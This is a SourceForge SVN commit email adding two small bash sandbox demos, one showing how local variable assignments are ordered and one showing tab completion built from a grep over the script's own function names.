Revision: 1653 http://assorted.svn.sourceforge.net/assorted/?rev=1653&view=rev Author: yangzhang Date: 2010-05-14 18:55:19 +0000 (Fri, 14 May 2010) Log Message: ----------- added assignment-ordering demo, completion demo Added Paths: ----------- sandbox/trunk/src/bash/assignment-ordering.bash sandbox/trunk/src/bash/completion.bash Added: sandbox/trunk/src/bash/assignment-ordering.bash =================================================================== --- sandbox/trunk/src/bash/assignment-ordering.bash (rev 0) +++ sandbox/trunk/src/bash/assignment-ordering.bash 2010-05-14 18:55:19 UTC (rev 1653) @@ -0,0 +1,14 @@ +#!/usr/bin/env bash + +f() { + local a=$1 b=$a + c=0 d=$c + echo b=$b + echo d=$d +} + +f x + +# Output: +# b= +# d=0 Property changes on: sandbox/trunk/src/bash/assignment-ordering.bash ___________________________________________________________________ Added: svn:executable + * Added: sandbox/trunk/src/bash/completion.bash =================================================================== --- sandbox/trunk/src/bash/completion.bash (rev 0) +++ sandbox/trunk/src/bash/completion.bash 2010-05-14 18:55:19 UTC (rev 1653) @@ -0,0 +1,13 @@ +#!/usr/bin/env bash + +# tab-completion demo + +hello-world() { + echo hello world +} + +list-functions() { + grep -i '^[[:alnum:]-]\+() {$' "$0" +} + +complete -F list-functions hzrun.bash Property changes on: sandbox/trunk/src/bash/completion.bash ___________________________________________________________________ Added: svn:executable + * This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |